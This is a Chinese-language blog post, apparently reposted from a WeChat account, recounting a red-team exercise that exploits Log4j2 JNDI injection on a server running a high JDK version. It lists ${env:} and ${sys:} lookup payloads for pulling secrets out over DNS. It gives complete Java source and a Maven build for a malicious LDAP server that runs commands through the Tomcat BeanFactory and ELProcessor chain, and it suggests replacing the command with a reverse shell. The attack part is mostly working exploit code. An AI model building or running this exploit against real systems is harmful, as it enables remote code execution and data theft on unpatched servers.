某攻防演练 | Log4j2 高版本JDK绕过实战

admin 2025年6月22日00:01:56评论19 views字数 7406阅读24分41秒阅读模式

近期参加了地市的比赛,实属太难挖了,云资产+waf+封IP。非常艰难的一周。

测试小程序,在翻看 burp 插件时,无意间发现了log4j2 漏洞,既兴奋又痛苦。

于是我直接打开 vps,启动 jndi 工具

某攻防演练 | Log4j2 高版本JDK绕过实战

发现请求字节码了,但是没有收到反弹 shell 

某攻防演练 | Log4j2 高版本JDK绕过实战

就在我百思不得其解时,发现可能是 jdk 版本的问题。

只有 jdk 版本在此区间,可以用工具一键 shell

jdk8u121 < shell < jdk8u191

配置信息读取

环境变量 (Environment Variables):

${env:USER} - 获取当前用户

${env:COMPUTERNAME} / ${env:HOSTNAME} - 获取主机名

${env:PATH} - 获取 PATH 环境变量

${env:HOME} - 获取用户主目录

${env:JAVA_HOME} - 获取 Java 安装路径

${env:ANY_ENV_VAR} - 获取 任何 环境变量的值 

系统属性 (System Properties):

${sys:java.version} - 获取 Java 版本

${sys:os.name} - 获取操作系统名称

${sys:user.name} - 获取当前用户名 (通常与 env:USER 相同)

${sys:user.home} - 获取用户主目录

${sys:user.dir} - 获取当前工作目录

${sys:any.system.property} - 获取 任何 Java 系统属性的值

... ...

还有很多配置,就不一一列举了。

于是我使用 dnslog 外带,读取系统的一些配置,果真发现对方 jdk 是高版本。

某攻防演练 | Log4j2 高版本JDK绕过实战

那咋办,还能咋办,绕呗

于是我又读取了相关的参数,比如系统架构,框架等等

某攻防演练 | Log4j2 高版本JDK绕过实战

有些参数可能会读不到数据,可以用 burp intruder 全跑一遍,这样就不需要一个一个试了。

最终使用el 链子,外带 root 权限。

某攻防演练 | Log4j2 高版本JDK绕过实战

这里的实际环境不好展示,所以读了这些配置,用来搭建同等环境的靶场。

高版本 JDK 怎么绕?

其实关于绕过,网上有很多师傅分析了

总共就两点

  • 利用本地ClassPath中的类Reference Factory

利用目标应用中已存在的类构造利用链,比如说环境是 tomcat 启动的,Tomcat 中有org.apache.naming.factory.BeanFactory,javax.el.ELProcessor,那么就可以直接用内置的类进行命令执行

JNDI注入->ResourceRef->BeanFactory->ELProcessor.eval() ->EL表达式执行
  • 利用LDAP返回序列化对象

通过LDAP返回序列化的恶意对象,触发本地反序列化链,比如说 pom 依赖中有 cc链,cb 链,则可以触发反序列化漏洞。这种方法同样不依赖远程类加载,而是依赖本地存在的反序列化利用链。

环境搭建

CentOS7 + jdk 1.8.0_261 + spring mvc (内置 tomcat)

某攻防演练 | Log4j2 高版本JDK绕过实战
某攻防演练 | Log4j2 高版本JDK绕过实战
某攻防演练 | Log4j2 高版本JDK绕过实战

环境启动后,按照实际环境的漏洞点进行测试。

某攻防演练 | Log4j2 高版本JDK绕过实战

accept 存在ldap 注入。

手搓代码

这里需要手写代码,启动 ldap 服务,并使用 ref 反射引用 el 类,然后进行命令执行

import com.sun.net.httpserver.HttpServer;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import org.apache.naming.ResourceRef;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.net.InetAddress;import java.net.InetSocketAddress;public class MaliciousLdapServer {    private static final int LDAP_PORT = 1389;    private static final int HTTP_PORT = 8000;    // 修改为您的Collaborator域名    private static final String COMMAND = "ping -c 1 xxx.dnslog.com";    public static void main(String[] args) throws Exception {        startHttpServer();        startLdapServer();        System.out.println("Exploit servers running. Payload: ${jndi:ldap://YOUR_IP:1389/o=exploit}");    }    private static void startHttpServer() throws Exception {        HttpServer server = HttpServer.create(new InetSocketAddress(HTTP_PORT), 0);        server.createContext("/", exchange -> {            try {                // 实际利用时应返回恶意class文件                byte[] response = "OK".getBytes();                exchange.sendResponseHeaders(200, response.length);                exchange.getResponseBody().write(response);            } finally {                exchange.close();            }        });        server.start();        System.out.println("HTTP server listening on port " + HTTP_PORT);    }    private static void startLdapServer() throws Exception {        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");        config.setListenerConfigs(new InMemoryListenerConfig(                "listen", InetAddress.getByName("0.0.0.0"), LDAP_PORT, nullnullnull));        config.addInMemoryOperationInterceptor(new OperationInterceptor());        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);        ds.startListening();        System.out.println("LDAP server listening on port " + LDAP_PORT);    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            try {                ResourceRef ref = new ResourceRef("javax.el.ELProcessor"null"""",                        true"org.apache.naming.factory.BeanFactory"null);                ref.add(new StringRefAddr("forceString""x=eval"));                // 使用更可靠的命令执行方式                String elExpr = String.format(                        """.getClass().forName("java.lang.Runtime")" +                                ".getMethod("getRuntime").invoke(null)" +                                ".exec("%s")",                        COMMAND.replace(""""\"")                );                ref.add(new StringRefAddr("x", elExpr));                Entry e = new Entry(result.getRequest().getBaseDN());                e.addAttribute("javaClassName""java.lang.String");                // 关键:使用正确的序列化方法                e.addAttribute("javaSerializedData", serialize(ref));                result.sendSearchEntry(e);                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));                System.out.println("[+] Sent malicious LDAP response for command: " + COMMAND);            } catch (Exception ex) {                System.err.println("[-] Exploit failed: " + ex.toString());                ex.printStackTrace();            }        }        // 添加缺失的序列化方法        private byte[] serialize(Object obj) throws Exception {            try (ByteArrayOutputStream bos = new ByteArrayOutputStream();                 ObjectOutputStream oos = new ObjectOutputStream(bos)) {                oos.writeObject(obj);                return bos.toByteArray();            }        }    }}

创建 pom.xml

<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>org.example</groupId>    <artifactId>untitled</artifactId>    <version>1.0-SNAPSHOT</version>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>    </properties>    <dependencies>        <dependency>            <groupId>com.unboundid</groupId>            <artifactId>unboundid-ldapsdk</artifactId>            <version>6.0.7</version>        </dependency>        <!-- 可选:如果需要使用HTTP服务器 -->        <dependency>            <groupId>com.sun.net.httpserver</groupId>            <artifactId>http</artifactId>            <version>20070405</version>            <!-- JDK内置,通常不需要单独引入 -->        </dependency>        <!-- Tomcat依赖(提供ResourceRef类)-->        <dependency>            <groupId>org.apache.tomcat</groupId>            <artifactId>tomcat-catalina</artifactId>            <version>9.0.54</version> <!-- 根据实际版本调整 -->        </dependency>    </dependencies>    <build>        <plugins>            <!-- 创建可执行JAR -->            <plugin>                <groupId>org.apache.maven.plugins</groupId>                <artifactId>maven-assembly-plugin</artifactId>                <version>3.3.0</version>                <configuration>                    <descriptorRefs>                        <descriptorRef>jar-with-dependencies</descriptorRef>                    </descriptorRefs>                    <archive>                        <manifest>                            <mainClass>MaliciousLdapServer</mainClass>                        </manifest>                    </archive>                </configuration>                <executions>                    <execution>                        <phase>package</phase>                        <goals>                            <goal>single</goal>                        </goals>                    </execution>                </executions>            </plugin>        </plugins>    </build></project>

最后使用mvn package编译 jar 包,java -jar xxxx.jar 启动即可。

将此 jar 包放到 vps 上

某攻防演练 | Log4j2 高版本JDK绕过实战

burp 执行ldap 命令

某攻防演练 | Log4j2 高版本JDK绕过实战

就会收到 dns 请求了

某攻防演练 | Log4j2 高版本JDK绕过实战

此时可以把命令替换为反弹 shell 的,再打开监听,便可获取到 shell。

当然这个代码还可以改进,从命令行的方式接受命令参数。

如果遇到的类不是 el,是其他的,只需要把其他的 ref 放到区域里就可以执行

某攻防演练 | Log4j2 高版本JDK绕过实战

列如跳跳糖浅蓝师傅的文章中的代码

某攻防演练 | Log4j2 高版本JDK绕过实战

我猜是不是有师傅会问,我怎么就知道对方服务器会存在 el 类,还是groovy 类。

利用链爆破

网上有篇文章,采用的是 urldns.jar 去探测可用链,但是是在本地,远程就不行了,但有一款工具感觉还可以的,也是笔者这几天搜索相关知识看到的。

https://github.com/Bl0omZ/JNDIEXP

启动方法为

java -jar JNDIInject-1.2-SNAPSHOT.jar -i vps-ip

使用方法 -u 参数

某攻防演练 | Log4j2 高版本JDK绕过实战

上面两个是标准 jdk 范围内使用的,下面则是高版本 jdk 使用的,有很多利用链。

这里有个ldap://0.0.0.0:1389/fuzzbyDNS/[domain 可以探测所有利用链

某攻防演练 | Log4j2 高版本JDK绕过实战
某攻防演练 | Log4j2 高版本JDK绕过实战
某攻防演练 | Log4j2 高版本JDK绕过实战

其他方法就不说了,师傅们自行下载 ,会有详细的使用教程。

这里以EL 为例

某攻防演练 | Log4j2 高版本JDK绕过实战
某攻防演练 | Log4j2 高版本JDK绕过实战

如有错误,请口下留情。

原文始发于微信公众号(我不懂安全):某攻防演练 | Log4j2 高版本JDK绕过实战

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月22日00:01:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某攻防演练 | Log4j2 高版本JDK绕过实战http://cn-sec.com/archives/4190447.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息